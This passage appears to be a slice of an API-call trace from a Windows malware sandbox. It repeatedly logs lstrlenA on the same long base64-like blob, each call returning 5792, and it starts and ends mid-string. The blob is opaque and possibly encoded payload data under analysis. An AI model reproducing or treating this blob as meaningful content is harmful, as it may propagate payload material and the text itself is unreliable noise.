YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.364] lstrlenA (lpString="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") returned 5792 [0128.364] lstrlenA (lpString="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") returned 5792 [0128.364] lstrlenA (lpString="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